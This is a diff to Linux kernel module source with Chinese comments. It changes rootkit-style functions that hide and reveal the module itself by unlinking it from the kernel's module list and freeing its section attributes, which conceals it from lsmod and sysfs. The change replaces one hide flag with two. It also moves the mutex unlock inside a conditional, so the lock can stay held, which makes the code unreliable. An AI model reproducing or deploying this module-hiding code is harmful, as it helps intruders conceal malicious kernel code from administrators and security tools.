|
|
|
@ -14,8 +14,9 @@
|
|
|
|
|
/**
|
|
|
|
|
* @brief 标记模块是否被隐藏(1)或可见(0)。
|
|
|
|
|
*/
|
|
|
|
|
int hide_m = 0;
|
|
|
|
|
|
|
|
|
|
//int hide_m = 0;
|
|
|
|
|
int flag_hide_m = 0;
|
|
|
|
|
int flag_show_m = 1;
|
|
|
|
|
/**
|
|
|
|
|
* @brief 指向模块列表前一个条目的指针。
|
|
|
|
|
*/
|
|
|
|
@ -48,23 +49,27 @@ void hide(void)
|
|
|
|
|
while (!mutex_trylock(&module_mutex))
|
|
|
|
|
cpu_relax();
|
|
|
|
|
|
|
|
|
|
// 保存当前模块列表的前一个条目
|
|
|
|
|
mod_list = THIS_MODULE->list.prev;
|
|
|
|
|
|
|
|
|
|
// 从模块列表中删除当前模块
|
|
|
|
|
list_del(&THIS_MODULE->list);
|
|
|
|
|
|
|
|
|
|
// 释放模块的段属性
|
|
|
|
|
kfree(THIS_MODULE->sect_attrs);
|
|
|
|
|
|
|
|
|
|
// 将模块的段属性设置为NULL
|
|
|
|
|
THIS_MODULE->sect_attrs = NULL;
|
|
|
|
|
|
|
|
|
|
// 释放模块互斥锁
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
|
|
|
|
|
// 设置模块隐藏标志
|
|
|
|
|
hide_m = 1;
|
|
|
|
|
// 判断模块是否可见,并设置模块隐藏标志
|
|
|
|
|
if(flag_hide_m == 0 && flag_show_m == 1)
|
|
|
|
|
{
|
|
|
|
|
flag_hide_m = 1;
|
|
|
|
|
flag_show_m = 0;
|
|
|
|
|
// 保存当前模块列表的前一个条目
|
|
|
|
|
mod_list = THIS_MODULE->list.prev;
|
|
|
|
|
|
|
|
|
|
// 从模块列表中删除当前模块
|
|
|
|
|
list_del(&THIS_MODULE->list);
|
|
|
|
|
|
|
|
|
|
// 释放模块的段属性
|
|
|
|
|
kfree(THIS_MODULE->sect_attrs);
|
|
|
|
|
|
|
|
|
|
// 将模块的段属性设置为NULL
|
|
|
|
|
THIS_MODULE->sect_attrs = NULL;
|
|
|
|
|
|
|
|
|
|
// 释放模块互斥锁
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void show(void)
|
|
|
|
@ -72,23 +77,27 @@ void show(void)
|
|
|
|
|
// 尝试获取模块互斥锁,如果失败则让CPU放松
|
|
|
|
|
while (!mutex_trylock(&module_mutex))
|
|
|
|
|
cpu_relax();
|
|
|
|
|
// 判断模块是否隐藏,并设置模块可见标志
|
|
|
|
|
if(flag_show_m == 0 && flag_hide_m == 1)
|
|
|
|
|
{
|
|
|
|
|
flag_show_m = 1;
|
|
|
|
|
flag_hide_m = 0;
|
|
|
|
|
// 将模块重新添加到模块列表中
|
|
|
|
|
list_add(&THIS_MODULE->list, mod_list);
|
|
|
|
|
|
|
|
|
|
// 将模块重新添加到模块列表中
|
|
|
|
|
list_add(&THIS_MODULE->list, mod_list);
|
|
|
|
|
// 释放模块互斥锁
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 释放模块互斥锁
|
|
|
|
|
mutex_unlock(&module_mutex);
|
|
|
|
|
|
|
|
|
|
// 设置模块可见标志
|
|
|
|
|
hide_m = 0;
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void hide_module(void)
|
|
|
|
|
{
|
|
|
|
|
// 如果模块当前可见,则隐藏模块
|
|
|
|
|
if (hide_m == 0)
|
|
|
|
|
if (flag_hide_m == 0 && flag_show_m == 1)
|
|
|
|
|
hide();
|
|
|
|
|
// 如果模块当前隐藏,则显示模块
|
|
|
|
|
else if (hide_m == 1)
|
|
|
|
|
else if (flag_hide_m == 1 && flag_show_m == 0)
|
|
|
|
|
show();
|
|
|
|
|
}
|